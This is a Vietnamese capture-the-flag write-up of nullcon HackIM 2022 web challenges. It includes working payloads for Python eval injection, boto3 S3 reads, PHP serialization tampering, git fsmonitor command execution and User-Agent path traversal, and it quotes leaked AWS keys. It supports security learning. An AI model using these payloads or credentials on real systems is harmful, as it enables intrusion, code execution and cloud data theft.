nullcon Goa HackIM CTF 2022 Writeup

Cloud 9*9

Giao diện web challenge nhìn qua cũng khá đơn giản, chỉ có vẻ là một máy tính toán bình thường. 🥴

Server sử dụng flask/python nên mình nghĩ ngay đến ssti nhưng khi thử payload {{7*7}} thì có nhảy ra exception:

Error xuất hiện khi call eval(event['input']) không hợp lệ

Như vậy thì thay vì truyền payload template thì mình sẽ truyền thẳng payload để rce lên server
__import__('subprocess').getoutput('id')

Đến được đây chắc chắn mình sẽ đọc file lambda-function.py đầu tiên
import json
def lambda_handler(event, context):
return {
'result' : eval(event['input'])
#flag in nullcon-s3bucket-flag4 ......
}
Với lambda_handler ta có thể tạo ra 1 GET request để xử lí dữ liệu và trả về người dùng
Đọc thêm: S3 Object Lamda
Bây giờ ta sẽ xem hàm lambda_handler này có thể remote file được trên bucket nullcon-s3bucket-flag4 hay không
Sau một hồi research thì mình có để ý trên server có package boto3

Từ đây ta sẽ call 1 hàm để lấy ra các file trên bucket chỉ định

Mình sẽ sử dụng hàm list_objects
__import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')
Do function trả về dạng dict nên datetime không serialize được

Mình sẽ gọi thẳng file ra

Vậy payload:
__import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')['Contents'][0]['Key']

Oh shietzzz, gần ra flag rầu :pregnant_woman:
Đến đây đã có Key là flag4.txt và Bucket là nullcon-s3bucket-flag4
Mình sẽ dùng hàm get_object để đọc nội dung file flag4.txt

Và response từ hàm get_object

Payload:
__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body']

Hmm streamingBody không serialize được :zany_face:
Sau khi stackoverflow thì mình cx solve được

Payload:
__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body'].read().decode('utf-8')
UwU

Done flag là ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}
More than meets the eye

Vẫn là web challenge cũ nhưng còn có đường đi khác, mình bắt đầu check view-source và thấy bucket còn 1 đống resource chưa xem

Thẻ image này có sử dụng bucket s3 để lưu các file static được access public
Ngoài thẻ svg ra t còn 2 file là .boto và dummy_credentials

# dummy_credentials
admin:5730df0sd8f4gsg
# .boto
[Credentials]
aws_access_key_id = AKIA22D7J5LELFTREN7Z
aws_secret_access_key = 3IxS0lVvB661e1oxT4Wz0YRFDj7d4HJtWlJhiq5A
Có được access_key và secret_access_key đến đây thì mình sẽ config aws-cli như mẫu:

Qua bước đó mình sẽ lấy các thông tin của user qua bộ key trên bằng cmd sau:
aws sts get-caller-identity
Đọc thêm: How to Get your Account ID with AWS CLI

Tadaaa, đã lấy được thông tin mình chắc chắn flag là ENO{W0W_sO_M4ny_Pu8l1c_F1leS}
P/s: ban đầu mình còn tưởng nó là flag của Cloud 9*9 nhưng không phải 🥺
Jsonify

Challenge này cho 1 file php đã xóa toàn bộ dấu cách nên mình mất ít thời gian để beatifulize lại
Source code:
<?php
ini_set('allow_url_fopen', false);
interface SecurSerializable
{
public function __construct();
public function __shutdown();
public function __startup();
public function __toString();
}
class Flag implements SecurSerializable
{
public $flag;
public $flagfile;
public $properties = array();
public function __construct($flagfile = null)
{
if (isset($flagfile)) {
$this->flagfile = $flagfile;
}
}
public function __shutdown()
{
return $this->properties;
}
public function __startup()
{
$this->readFlag();
}
public function __toString()
{
return "ClassFlag(" . $this->flag . ")";
}
public function setFlag($flag)
{
$this->flag = $flag;
}
public function getFlag()
{
return $this->flag;
}
public function setFlagFile($flagfile)
{
if (stristr($flagfile, "flag") || !file_exists($flagfile)) {
echo "ERROR: File is not valid!";
return;
}
$this->flagfile = $flagfile;
}
public function getFlagFile()
{
return $this->flagfile;
}
public function readFlag()
{
if (!isset($this->flag) && file_exists($this->flagfile)) {
$this->flag = join("", file($this->flagfile));
}
}
public function showFlag()
{
if ($this->isAllowedToSeeFlag) {
echo "Theflagis:" . $this->flag;
} else {
echo "Theflagis:[You'renotallowedtoseeit!]";
}
}
}
function secure_jsonify($obj)
{
$data = array();
$data['class'] = get_class($obj);
$data['properties'] = array();
foreach ($obj->__shutdown() as & $key) {
$data['properties'][$key] = serialize($obj->$key);
}
return json_encode($data);
}
function secure_unjsonify($json, $allowed_classes)
{
$data = json_decode($json, true);
if (!in_array($data['class'], $allowed_classes)) {
throw new Exception("ErrorProcessingRequest", 1);
}
$obj = new $data['class']();
foreach ($data['properties'] as $key => $value) {
$obj->$key = unserialize($value, ['allowed_classes' => false]);
}
$obj->__startup();
return $obj;
}
if (isset($_GET['show']) && isset($_GET['obj']) && isset($_GET['flagfile'])) {
$f = secure_unjsonify($_GET['obj'], array(
'Flag'
));
echo $f;
$f->setFlagFile($_GET['flagfile']);
$f->readFlag();
$f->showFlag();
} else if (isset($_GET['show'])) {
$f = new Flag();
$f->flagfile = "./flag.php";
$f->readFlag();
$f->showFlag();
} else {
header("Content-Type:text/plain");
echo preg_replace('/\s+/', '', str_replace("\n", '', file_get_contents("./jsonify.php")));
}
Theo như flow thì mình phải truyền querystring show, obj, flagfile
Hàm secure_jsonify không được call trong code nhưng lại được define trong chương trình.
function secure_jsonify($obj)
{
$data = array();
$data['class'] = get_class($obj);
$data['properties'] = array();
foreach ($obj->__shutdown() as & $key) {
$data['properties'][$key] = serialize($obj->$key);
}
return json_encode($data);
}
$data khởi tạo 1 array/object mới
$data['class'] = get_class($obj) để lấy ra tên của class ở đây trả về Flag
$data['properties'] = array(); khởi tạo 1 array
Khi foreach $obj gọi đến __shutdown trả về array của $obj->properties và serialize lại giá trị truyền vào từ các property trên.
Bây giờ mình tạo 1 script php serialize để set cho flagfile thành ./flag.php
public function setFlagFile($flagfile)
{
if (stristr($flagfile, "flag") || !file_exists($flagfile)) {
echo "ERROR: File is not valid!";
return;
}
$this->flagfile = $flagfile;
}
Nhưng args của function setFlagFile mình không thể bypass được nên mình sẽ truyền thẳng giá trị cho $this->flagfile thành ./flag.php
Trong source có sử dụng 1 interface để khai báo các methods cho class

Những hàm được define này bắt buộc phải được call
Nếu chỉ define như này

Thì code sẽ báo lỗi do chưa implement các methods này

Trong hàm secure_unjsonify có gọi đến method __startup để readflag


Vậy mình sẽ không cần quan tâm đến 2 dòng dưới này do flag đã được return ở trên

Bây giờ để cal được hàm showFlag và in ra $this->flag từ class Flag

Chuyển giá trị của $this->isAllowedToSeeFlag thành true
Xong bước bypass, sau đó mình cần thêm các properties cho class-serialize

Gen serialize:
<?php
class Flag
{
public $flag;
public $flagfile;
public $properties = array();
public function __construct($flagfile = null)
{
if (isset($flagfile)) {
$this->flagfile = $flagfile;
}
}
public function __shutdown()
{
return $this->properties;
}
public function __startup()
{
$this->readFlag();
}
public function __toString()
{
return "ClassFlag(" . $this->flag . ")";
}
public function readFlag()
{
if (!isset($this->flag) && file_exists($this->flagfile)) {
$this->flag = join("", file($this->flagfile));
}
}
}
function secure_jsonify($obj)
{
$data = array();
$data['class'] = get_class($obj);
$data['properties'] = array();
foreach ($obj->__shutdown() as &$key) {
$data['properties'][$key] = serialize($obj->$key);
}
return json_encode($data);
}
$obj = new Flag();
$obj->properties = ['isAllowedToSeeFlag', 'flagfile'];
$obj->isAllowedToSeeFlag = true;
$obj->flagfile = '/etc/passwd';
echo secure_jsonify($obj);

Đến đây ta chỉ cần truyền vào qs của obj để đọc file /etc/passwd

ERROR: File is not valid! do từ hàm setFlagFile truyền file không hợp lệ từ $_GET['flagfile'] (không quan tâm) ở dòng 97 ở trên

Lấy flag $obj->flagfile = './flag.php';
Payload:
http://52.59.124.14:10002/?show&obj={"class":"Flag","properties":{"isAllowedToSeeFlag":"b:1;","flagfile":"s:10:\".\/flag.php\";"}}&flagfile=bu

Done flag là ENO{PHPwn_1337_hakkrz}
Git To the Core

Đề bài cho 1 server shell là tool để dump .git folder từ 1 URL

Hoàn toàn ta có thể RCE được do trên server chỉ allow các args từ git
Gần đây có một lỗi từ CVE-2022-24765 cho phép exec shell từ git config

Với fsmonitor là 1 tham số để ta có thể monitor được file system

Ta sẽ tạo 1 repo git và 1 file config như sau:
# .git/config
[core]
fsmonitor = "echo \"$(id)\">&2; false"
Test trên local:

Forward port vào test thử:

Đã RCE thành công bây giờ ta sẽ xem file flag nằm ở đâu

Read file /FLAG là xong
[core]
fsmonitor = "echo \"$(cat /FLAG)\">&2; false"

Done flag là ENO{G1T_1S_FUn_T0_H4cK}
i love browsers

Với challenge này thì ban đầu mình cũng chưa có ý tưởng gì nhưng sau khi thằng cu em Hưng Chiến có nói là có thể dùng User-Agent để khai thác mình đã thử đục vào nó xem thế nào

Nhưng mình vẫn đéo khai thác được gì 😆
Vậy thì chờ khi hết giải mấy ông trong discord có hint

Mình thử ngay User-Agent bằng 2 dấu chấm xem thế nào

Đến đây thì mình cũng ngờ ngợ được rằng backend sẽ đọc các file trên server 🤔
Khi thay đổi đến mỗi User-Agent khác nhau thì nội dung trên trang cũng khác nhau

Mình thử đọc 1 file trên system bằng absolute path /etc/passwd

Tưởng không dễ ai ngờ dễ không tưởng lấy flag hoy 😑

Done flag là ENO{Why,os.path,why?}
Chắc phải có âm mưa gì đó chứ người bình thường không thể nào config như này được 🐧

Source code server:
from flask import Flask, render_template
import sqlite3
import os
import re
from flask import Flask, request, redirect, url_for, g
app = Flask(__name__)
data_base_url = "/app/browserinfo/"
#data_base_url = "/home/nicwer/programming/nullcongoa/web/compose_flask/browserinfo/"
DATABASE = 'database.db'
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
def query_db(query, args=(), one=False):
cur = get_db().execute(query, args)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
@app.route("/", methods=['GET', 'POST'])
def test():
ua = request.headers.get('User-Agent')
ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1])
if ".." in ua2:
return '<a href="https://xkcd.com/838/">This incident will be reported</a>'
fn = os.path.join(data_base_url,ua2)
try:
f = open(fn)
browserinfo = f.read()
# app.logger.info(browserinfo)
aa = query_db("SELECT * FROM comments WHERE browser=='" + ua2[0].lower() + "'")
comments = []
for bb in aa:
comment = {"name":bb[2],"content":bb[3]}
comments += comment,
pass
except Exception as ex:
return "You are using an unsupported browser."
return render_template('index.html',browser=ua2,binfo=browserinfo,comments=comments)
@app.route("/test", methods=['POST'])
def aaa():
ua = request.headers.get('User-Agent')
ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1])
browser = ua2[0].lower()
user = request.form['user']
comment = request.form['comment']
qstr = 'INSERT INTO comments (browser,username,comment) VALUES("' + str(browser) + '","' +str(user)+'","'+str(comment)+'");'
print(qstr)
if len(user) > 20 or len(comment) >500:
return redirect('/')
try:
c = get_db().cursor()
print("cursor got")
c.execute(qstr)
get_db().commit()
except:
print("An error has occured")
return redirect('/')
if __name__ == "__main__":
port = int(os.environ.get('PORT', 5000))
app.run(debug=False, host='0.0.0.0', port=port)
:::success 🤕 Make KCSC Great Forever :::


